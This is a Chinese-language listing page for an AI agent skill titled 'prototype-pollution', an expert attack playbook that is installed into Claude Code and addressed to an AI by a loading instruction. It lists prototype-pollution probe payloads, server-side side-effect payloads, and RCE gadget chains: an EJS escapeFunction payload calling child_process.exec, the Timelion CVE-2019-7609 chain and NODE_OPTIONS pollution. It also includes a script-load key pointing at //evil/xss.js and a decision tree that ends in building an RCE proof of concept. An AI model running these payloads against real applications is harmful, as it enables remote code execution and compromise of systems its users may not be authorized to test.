mcpField
P
prototype-pollution

prototype-pollution

github.com/yaklang安全2.6k3.6k 次安装6 周前更新
代码仓库

关于 prototype-pollution

面向 JavaScript 客户端与服务器端安全测试的原型污染攻击手册,涵盖解析器行为、污染检测和后续利用链。

主要功能

  1. 01区分 __proto__ 与 constructor.prototype 路径
  2. 02识别深度合并等易受影响逻辑
  3. 03提供客户端与服务器端探测方法
  4. 04说明 EJS 与 child_process 等利用链
  5. 05列出相关检测工具

适用场景

  1. 01测试 URL 查询或 JSON 输入的对象合并
  2. 02通过后续请求验证服务器端污染
  3. 03评估污染是否可触发模板或命令执行

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill prototype-pollution

安装后在 Claude Code 中输入/prototype-pollution确认已加载。

详细介绍

技能:原型污染 — 专家攻击手册

AI 加载指令:面向客户端和服务端 JS 的专家级原型污染。涵盖 __proto__ 与 constructor.prototype 的区别、合并汇点检测、Express/qs 风格的黑盒探测,以及 gadget 链(EJS、Timelion 类模式、child_process/NODE_OPTIONS)。假设你已了解对象展开和原型继承——重点在于解析器行为和污染后的汇点。

路由提示:当你看到深度合并、递归赋值、JSON.parse 后接 Object.assign,或将 URL 查询参数转换为嵌套对象时,优先考虑 PP。

0. 快速入门

客户端优先探测
#__proto__[polluted]=1
#__proto__[polluted]=polluted
#constructor[prototype][polluted]=1

当输入可能反映到 DOM 或框架路由中时,配合 alert(1) / console 检查,观察全局对象属性是否遭到污染。

#__proto__[xxx]=alert(1)
服务端优先探测(JSON / 表单)
{"__proto__":{"polluted":true}}
{"constructor":{"prototype":{"polluted":true}}}

发送后,检查后续无关响应是否出现异常的标头、状态码或 JSON 间距,或者应用逻辑是否读取了 Object.prototype.polluted(参见 §3 检测表)。

快速判断

如果目标代码使用 lodash.merge、deep-extend、hoek.applyToDefaults,或某些 qs / query-string 配置,提高优先级。


1. 原理

原型链:访问 obj.key 时,如果 obj 没有自有属性 key,查找会沿着 [[Prototype]] 一路向上,直到 Object.prototype。

__proto__:许多解析器会将字面键 __proto__ 视作一条特殊路径,把子属性附加到原型上。根据实现和补丁级别,合并 { "__proto__": { "x": 1 } } 可能等同于 Object.prototype.x = 1。

constructor.prototype:constructor 通常指向对象的构造函数;constructor.prototype 是该构造函数的原型对象。对于普通对象,这通常指向 Object.prototype。路径示例:

{"constructor":{"prototype":{"polluted":1}}}

这两种方式并不总是等价(过滤、JSON 解析、Bun/Node 差异),因此两种路径都要测试。

核心问题:这不只是“多一个参数”;在未隔离的合并逻辑中,攻击者可控的键会指向原型对象,使全局或共享模板上下文带上恶意属性,之后代码会像读取普通属性一样读取它们,从而触发 gadget。


2. 客户端检测

URL 片段
https://app.example/page#__proto__[admin]=1
https://app.example/#__proto__[xxx]=alert(1)

如果路由器或分析代码将片段解析为对象后再进行合并,就可能发生污染。

constructor.prototype 路径
#constructor[prototype][role]=admin
DOM / 属性注入思路

如果框架将属性名称合并为对象键:

__proto__[src]=//evil/xss.js

事件处理器风格的键(取决于实现):

__proto__[onerror]=alert(1)

验证:打开一个不带片段的新页面,并在控制台检查测试键是否仍留在 Object.prototype 上;注意扩展程序和 DevTools 可能造成干扰。


3. 服务端检测(Express / Node,黑盒)

以下载荷假设请求正文 / 查询参数已由 qs 或类似解析器(可能是 body-parser)深度解析为对象。观察全局副作用,而不只是当前端点的返回值。

载荷(JSON 示例)预期的可观察信号
{"__proto__":{"parameterLimit":1}}后续请求中的多参数解析被忽略或出现异常(qs 风格的 parameterLimit)
{"__proto__":{"ignoreQueryPrefix":true}}接受 ??foo=bar 这类双问号前缀,或行为发生显著变化
{"__proto__":{"allowDots":true}}?foo.bar=baz 这类嵌套键通过点号表示法展开
{"__proto__":{"json spaces":" "}}JSON 序列化的响应中出现额外空格(JSON.stringify 的缩进设置受到污染)
{"__proto__":{"exposedHeaders":["foo"]}}CORS 响应包含与 foo 相关的标头(如果框架从原型读取配置)
{"__proto__":{"status":510}}某些响应状态变为 510 或其他异常代码(应用从对象读取 status)

操作提示:先发送污染请求,再发送一个干净请求以观察持久性;连接池和工作进程生命周期会影响影响是否全局可见。


4. 利用小工具

目标 / 场景载荷或模式备注
EJS{"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}如果模板引擎选项(如 escapeFunction)从受污染的原型读取,可能导致 RCE;强烈依赖版本和配置
Timelion 表达式链(CVE-2019-7609).es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")')历史利用链:原型污染 + 时间线表达式执行;有助于理解表达式 + PP的组合
Node child_process污染 shell、argv0、env、NODE_OPTIONS 等(合并到 exec / fork 选项对象中)取决于后续代码是否调用 spawn / fork 并从原型链读取选项
通用 constructor 路径{"constructor":{"prototype":{"foo":"bar"}}}绕过仅过滤 __proto__ 键的弱验证

利用链思路:污染 -> 依赖项读取 obj.settings.xxx,但未检查 hasOwnProperty -> RCE / SSRF / 路径遍历。


5. 工具

项目用途
yeswehack/pp-finder帮助定位易受 PP 影响的合并点和模式
yuske/silent-spring针对原型污染攻击面的研究与检测
yuske/server-side-prototype-pollution服务端 PP 测试套件 / 方法论
BlackFan/client-side-prototype-pollution浏览器端 PP 案例和载荷
portswigger/server-side-prototype-pollutionBurp 生态系统扩展 / 配套资料
msrkp/PPScan扫描 / 验证辅助工具

优先在已授权的目标上使用;自动化工具可能会对有状态应用造成副作用。


6. 决策树

                    Input merged into nested object?
                    (query, JSON, GraphQL vars, YAML→JSON)
                                |
               NO --------------+-------------- YES
               |                              |
        Other vuln class                Parser allows __proto__ /
                                        constructor.prototype keys?
                                                    |
                                    NO --------------+-------------- YES
                                    |                              |
                             Check unicode /                    Confirm global effect:
                             bypass of key names               clean follow-up request
                                    |                              |
                                    +--------------+----------------+
                                                   |
                                                   v
                                    Gadget present? (template, spawn, JSON.stringify opts, CORS)
                                                   |
                              NO ------------------+------------------ YES
                              |                                         |
                       Report PP as DoS /              Build minimal RCE or
                       logic impact                   high-impact PoC
                              |                                         |
                              +---------------------+-------------------+
                                                    |
                                                    v
                              Client-side: fragment / DOM / third-party script
                              Server-side: qs/body-parser/lodash/deep-merge version audit

相关路由

评论

支持 Markdown